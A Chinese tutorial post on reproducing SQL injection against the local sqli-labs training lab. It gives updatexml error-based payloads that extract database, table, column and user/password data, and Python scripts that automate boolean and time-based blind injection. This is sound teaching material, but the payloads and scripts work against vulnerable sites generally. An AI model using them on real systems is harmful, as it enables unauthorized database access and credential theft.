sql注入-常见注入方法复现

news2024/9/20 14:25:13

环境演示均已sql-labs为例

1、报错注入

1.1常用的报错注入的函数

掌握好extractvalue、updatexml、floor报错,floor报错较难需要多理解,updatexml较为常用

定义

报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。是一种页面响应形式。

响应过程:

用户在前台页面输入检索内容\rightarrow后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行\rightarrow数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面

报错注入存在基础:后台对于输入输出的合理性没有做检查

演示

输入正常语句情况下页面

当对sql语句闭合后:

可以发现我们语句正确后,他并不会回显我们数据,但是报错时会回显,那么我们可以利用一些报错函数进行注入

以下以最常见的updataxml为例

语法

UPDATEXML(XML_document, XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
第三个参数:new_value,string格式,替换查找到的符合条件的数据

我们只需要修改第二个参数即可

127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

库名成功注入出来,接下来就是表名、列名、数据

表名:

http://127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

列名:

http://127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and%20table_name='users'),0x7e),1)--+

爆数据

由于updatexml()是32个字节,无法完全显示,那么我们就使用substr()进行截取,后期再进行拼接

http://127.0.0.1/sqli-labs7/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'$',password) from users),32,64),0x7e),1)--+

2、盲注

盲注主要分为两种,一种为时间类型盲注,一种为布尔类型盲注

判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入。

2.1布尔盲注

根据页面回显判断是或不是,进行判断

当出现错误是就无回显,那么我们可以根据这个现象进行注入判断

利用二分法和ASCII码进行渗透:

使用substr()提取字符转换成ascii比大小进行判断是否为真,真则有回显‘you are in ...’,假则无

http://127.0.0.1/sqli-labs7/Less-8/?id=1' and%20ascii(substr((select database()),1,1))>114--+

根据此现象我们写一个python脚本快速进行注入

import time

import requests

url = 'http://127.0.0.1/sqli-labs7/Less-8/'

def inject_database(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
            res = {"id": payload}
            # start_time = time.time()
            r = requests.get(url, params=res)
            # end_time = time.time()
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database(url)

库出来了,那么接下来的流程就是爆表名,列名和数据了

只需对脚本的payload进行修改即可

表名:
payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), %d, 1)) > %d-- " % (i, mid)

列名:
payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), %d, 1)) > %d-- " % (i, mid)

数据:
payload = "1' and ascii(substr((select group_concat(username,'$',password) from users), %d, 1)) > %d-- " % (i, mid)

2.2时间盲注

来到第九关之后我们发现没有真假之分了,那么我们就可以使用时间盲注来解决

注入方法:

        我们只需要在布尔盲注的基础上加入一个if判断,为真时加载2秒,为假时则什么都不做,其他地方跟布尔盲注没有太大区别。

脚本如下:

import time

import requests

url = 'http://127.0.0.1/sqli-labs7/Less-9/'

def inject_database(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)


inject_database(url)

表名、列名、数据依旧是修改payload即可,和第8关一样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983747.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL练习题(五)

环境搭建&#xff08;MySQL:8.0.25&#xff09;: CREATE TABLE DEPT (DEPTNO int PRIMARY KEY,##部门编号DNAME VARCHAR(14), ##部门名称LOC VARCHAR(13) ##部门地址 ); INSERT INTO DEPT VALUES (10, ACCOUNTING, NEW YORK); INSERT INTO DEPT VALUES (20, RESEAR…

sqllab靶场练习第1~15关

1、第一关 代码解析 if(isset($_GET[id]))//判断获取的id字段是否为空 { $id$_GET[id]; //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a);//打开这个文件&#xff0c;记录操作的日志 fwrite($fp,ID:.$id."\n"); fclose($fp);…

Java、PHP、Node 操作 MySQL 数据库常用方法

一、Java 操作 MySQL 数据库 1、Java 连接 MySQL 数据库 1. 使用 JDBC 驱动程序连接 使用这种方式&#xff0c;首先需要导入 MySQL 的 JDBC 驱动程序依赖&#xff0c;然后通过 Class.forName() 方法加载驱动程序类。其创建连接的过程相对直接&#xff0c;只需提供准确的数据库…

我不喜欢蔚来的原因

商业逻辑 蔚来主打的是换电和服务。 先说服务&#xff0c;这种极其依赖人工&#xff0c;打造极致尊贵感的服务&#xff0c;是完全无法随着销售规模扩大而降低成本的&#xff0c;相反&#xff0c;如果要保持相同水准的服务&#xff0c;可能会导致成本随着规模扩大而增高&#x…

桥田动态|盛夏官宣 · 桥田全新品牌形象正式发布

VISUAL IDENTITY 2024品牌革新 桥田智能品牌VI系统升级发布 Hi 各位伙伴们&#xff0c;很高兴的告知大家&#xff0c;我们的品牌形象VI和官方网站全面升级。全新的LOGO设计和官方网站将为您带来更为直观和互动的体验。 1 品牌标识 Brand identity 全新LOGO&#xff0c;彰显…

学习STM32(3)--STM32单片机中断的应用

1 引 言 本次实验旨在深入探究STM32F103单片机中断的应用。通过实验&#xff0c;我们将全面掌握STM32F103中断的定义、NVIC&#xff08;Nested Vectored Interrupt Controller&#xff0c;嵌套向量中断控制器&#xff09;的使用和开发&#xff0c;以及外部中断&#xff08;E…

SpringBoot AOP 简单的权限校验

本篇文章的主要内容是通过AOP切面编程实现简单的权限校验。 书接上回登录与注册功能 我们的用户表里面不是有role(权限)这个字段吗 在JWT令牌的生成中&#xff0c;我们加入了role字段。 那么接下来&#xff0c;我们就可以通过这个字段来实现权限校验。 我这里就很简单&#x…

pywinauto:Windows桌面应用自动化测试(七)

前言 上一篇文章地址&#xff1a; pywinauto&#xff1a;Windows桌面应用自动化测试&#xff08;六&#xff09;-CSDN博客 下一篇文章地址&#xff1a; 暂无 一、实战常用方法 1、通过Desktop快速获取窗口 通过之前章节我们了解到控制应用的方法为Application&#xff0…

实战OpenCV之环境安装与配置

OpenCV是什么 OpenCV&#xff0c;英文全称为Open Source Computer Vision Library&#xff0c;是一个开源的计算机视觉和机器学习软件库。它设计用于提供一系列功能强大的算法&#xff0c;以帮助开发者处理图像和视频数据&#xff0c;实现各种视觉任务&#xff0c;包括&#xf…

Nginx进阶-常见配置(三)

nginx 变量 Nginx的配置文件使用的语法的就是一门微型的编程语言。既然是编程语言&#xff0c;一般也就少不了“变量”这种东西。 Nginx配置文件使用的语法主要包括以下几个方面&#xff1a; &#xff08;1&#xff09;配置块 (Block Directives): Nginx配置文件由多个嵌套的…

渗透8-05作业

第十五关: 利用时间盲注 拦截并放到intruder里 请求的参数替换或改写一下 uname1 OR IF(SUBSTRING((SELECT database()), 2, 1)e, sleep(1), 1) -- &passwd1&submitSubmit payload1设置 payload2设置&#xff08;点击从列表中添加可快速找到a到z的列表&#xff09; 开始…

Python | Leetcode Python题解之第326题3的幂

题目&#xff1a; 题解&#xff1a; class Solution:def isPowerOfThree(self, n: int) -> bool:return n > 0 and 1162261467 % n 0

spdlog日志库--基础介绍

文章目录 1. 简介1.1. spdlog代码特点1.2. 说明1.3. spdlog架构 2. spdlog的安装2.1. 使用包管理器安装2.2. 使用源码安装2.3. 仅使用头文件 3. 相关概念3.0 常用的头文件3.1. level_enum3.2. sink3.3. logger3.4 格式输出3.5 对齐方式3.6 截断3.7 字符串格式化fmt 4. 特性4.1.…

职业教育云计算实验实训室建设应用案例

云计算作为信息技术领域的一次革命&#xff0c;正在深刻改变着我们的工作和生活方式。随着企业对云计算技术的依赖日益加深&#xff0c;对具备云计算技能的专业人才的需求也日益迫切。职业院校面临着培养符合行业标准的云计算人才的挑战。唯众凭借其在教育技术领域的专业经验&a…

Web3时代的智能合约:区块链技术的革命性应用

随着区块链技术的发展&#xff0c;Web3时代已经悄然来临。智能合约作为这一时代的重要组成部分&#xff0c;正引领着技术应用的革命性变革。本文将深入解析智能合约的概念、工作原理、应用场景及其带来的挑战与机遇&#xff0c;全面展现其在Web3时代的重要作用。 一、智能合约…

Spring Cloud 整合 Nacos、Sentinel、OpenFigen 实战【微服务熔断降级实战】

前言&#xff1a; 上一篇我们分析了 Sentinel 的各种核心概念点以及 Sentinel 的执行流程&#xff0c;并分别演示了使用 Sentinel 编码和注解方式来管理资源的场景&#xff0c;加上我们前面学习的 Nacos&#xff0c;本篇来分享 Spring Cloud 整合 Nacos、Sentinel、OpenFigen …

密码学基础:搞懂Hash函数SHA1、SHA-2、SHA3(1)

目录 1.消息摘要(Hash) 2.SHA-1 3.SHA-2 4.小结 1.消息摘要(Hash) Hash函数是一种单向密码体制&#xff0c;把任意长度的输入经过变换得到一个固定长度的输出&#xff0c;同时它还具备单向性&#xff0c;只能从明文到密文&#xff0c;不能逆向&#xff0c;正是由于Hash函数…

Golang | Leetcode Golang题解之第326题3的幂

题目&#xff1a; 题解&#xff1a; func isPowerOfThree(n int) bool {return n > 0 && 1162261467%n 0 }

onlyoffice使用Https访问

开发服务器用的是http&#xff0c;一切正常使用&#xff0c;部署到服务器后&#xff0c;由于服务器使用了Https&#xff0c;导致访问onlyoffice时控制台报错。Mixed Content: The page at http://xxxxx// was loaded over HTTPS, but requested an insecure frame http://xxxxx…

Jpa-多表关联-OneToOne

Jpa-多表关联-OneToOne 准备JoinColumnOneToOne属性targetEntitycascade*PERSISTMERGEREMOVEREFRESH orphanRemovalfetchoptionalMappedBy* OneToOne在 hibernate中用于对表与表之间进行维护关联 准备 import com.alibaba.fastjson.JSON; import jakarta.persistence.*; impor…